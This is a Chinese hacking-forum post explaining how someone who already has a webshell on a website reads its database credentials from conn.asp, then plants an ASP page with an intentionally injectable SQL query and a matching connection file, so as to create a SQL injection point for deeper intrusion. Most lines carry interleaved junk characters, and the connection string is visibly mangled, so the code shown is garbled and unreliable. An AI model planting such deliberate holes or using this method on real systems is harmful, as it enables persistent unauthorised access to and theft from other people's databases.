自己构造注入点方便入侵, g. c, q* `6 o! ~& e) D0 x; \
& Z1 |% U; a5 `' ?- b" V今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
$ L8 J, n8 `* p7 Q I' i1 I7 l" [4 ~4 W9 i) C& T* B2 x r) ^& ^8 u
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
8 ]( {0 W# J" _
3 i9 f- _4 t5 q- ]首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和$ C' f, X: _! |" r& B
1 t) h. {3 X; E. _* D `密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
5 }3 R2 K' u6 E3 H
7 D" {( {8 S2 k8 v* S1 [因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:/ c0 ^/ E& u1 \
. S+ \, j, w* @1 n
程序代码
! i/ ^# z/ V: K) r<!--#include file="xx.asp"-->8 S0 {; m* S7 I) p6 y
<%
5 V \, B9 @8 Q6 Uset rs=server.createobject("ADODB.recordset")
- S" r4 _6 X' u8 y* uid = request("id")
! F$ t* Z& b0 I* P) rstrSQL = "select * from admin where id=" & id9 {- d( a8 i# g: c- K* V+ J
rs.open strSQL,conn,1,3" C# b* ^! U. K
rs.close D- U. E5 R4 J( V( H# d( c
%>
* J2 [" v4 S- }: r4 T% {6 j+ z7 Y0 B W
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在! H0 K& t; N4 q& d2 `1 k n
w" I+ J3 e# k f4 W7 p h
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
K: }6 I6 A3 R- h; p$ E
+ O/ D9 Z G" p然后就要构造一个连接数据库的文件了,代码如下:
% W; {. F- h( z程序代码; G' v5 D! G6 a4 D6 y$ p2 X
<%
7 d+ @7 ?/ m ZstrSQLServerName = "000.000.000.000" '服务器名称或地址
5 P; |3 r! y G7 RstrSQLDBUserName = "sqlname" '数据库帐号
$ T5 B/ s0 ]% h; n* XstrSQLDBPassword = "sqlpass" '数据库密码
7 H ~2 r# O: J* D0 z& v) Z( ?7 k. a% ]strSQLDBName = "sqldataname" '数据库名称2 N/ B/ S1 z" `7 _; g
Set conn = Server.CreateObject("ADODB.Connection")
, v& K1 O; R! J3 ]strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";") ^! R& q+ U W9 l
conn.open strCon
6 y2 s, H# b+ w& f' t. J* R%>7 B% \5 q0 Z/ K0 ~ G
- @ }( w" e2 ^3 j0 S. l这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
n% P/ [% [* ~4 _4 z S! J3 f8 ] E9 f
就这样,正常情况下,就OK了,伪造成功……7 _. \* ]0 y3 C1 q( |
, D3 [. ~* C( w. w- c; T
如果有什么问题可以提出来大家一起探讨解决。 |